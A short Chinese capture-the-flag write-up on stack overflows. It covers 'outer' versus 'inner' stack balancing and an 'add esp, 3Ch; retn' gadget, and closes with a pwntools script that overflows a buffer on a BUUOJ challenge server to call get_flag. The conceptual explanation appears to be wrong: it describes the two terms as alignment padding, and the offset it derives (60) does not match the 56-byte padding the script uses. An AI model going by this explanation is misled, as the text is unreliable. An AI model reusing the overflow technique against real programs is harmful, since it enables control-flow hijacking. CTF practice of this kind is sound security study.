栈溢出+外平栈
1外平栈与内平栈的区别
-
外平栈:
- 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
- 返回地址直接位于局部变量的上方(即栈顶方向)。
- 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
-
内平栈:
- 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
- 返回地址与局部变量之间有一定的距离。
- 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。
2. add esp, 3Ch; retn
的作用
add esp, 3Ch
:释放栈上分配的 60 字节空间(3Ch = 60
)。retn
:从栈顶弹出返回地址并跳转到该地址。
在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。
3. 外平栈与内平栈的偏移计算
假设有以下栈布局:
外平栈布局:
+-----------------+
| 局部变量 | <- esp + 0
+-----------------+
| 返回地址 | <- esp + 60 (3Ch)
+-----------------+
- 局部变量与返回地址之间没有额外空间。
- 在计算偏移时,直接使用
offset = 60
,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量 | <- esp + 0
+-----------------+
| 对齐填充 | <- esp + 60 (3Ch)
+-----------------+
| 返回地址 | <- esp + 64 (40h)
+-----------------+
- 局部变量与返回地址之间有 4 字节的对齐填充。
- 在计算偏移时,需要额外加 4,即
offset = 64
。
from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()